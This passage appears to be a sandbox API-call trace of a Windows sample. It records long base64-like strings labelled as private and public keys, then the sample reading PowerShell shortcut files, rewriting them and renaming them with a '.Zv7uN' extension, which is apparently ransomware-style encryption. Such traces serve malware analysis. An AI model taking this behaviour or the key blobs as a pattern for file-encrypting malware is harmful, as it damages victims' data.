A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.461] GetCurrentThreadId () returned 0xa30 [0132.461] GetCurrentThreadId () returned 0xa30 [0132.461] GetCurrentThreadId () returned 0xa30 [0132.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.462] GetCurrentThreadId () returned 0xa30 [0132.462] GetCurrentThreadId () returned 0xa30 [0132.462] GetCurrentThreadId () returned 0xa30 [0132.462] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.462] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.463] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.463] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x5bc [0132.463] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.463] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x5bc, lpOverlapped=0x0) returned 1 [0132.467] CloseHandle (hObject=0x1dc) returned 1 [0132.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.470] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x5bc, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f114*=0x5bc, lpOverlapped=0x0) returned 1 [0132.472] CloseHandle (hObject=0x1dc) returned 1 [0132.472] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk.zv7un")) returned 1 [0132.474] GetCurrentThreadId () returned 0xa30 [0132.474] GetCurrentThreadId () returned 0xa30 [0132.474] GetCurrentThreadId () returned 0xa30 [0132.474] GetCurrentThreadId () returned 0xa30 [0132.474] GetCurrentThreadId () returned 0xa30 [0132.474] GetCurrentThreadId () returned 0xa30 [0132.474] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0132.474] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.474] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.474] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b)) returned 1 [0132.474] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk")) returned 0x20 [0132.475] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk", dwFileAttributes=0x80) returned 1 [0132.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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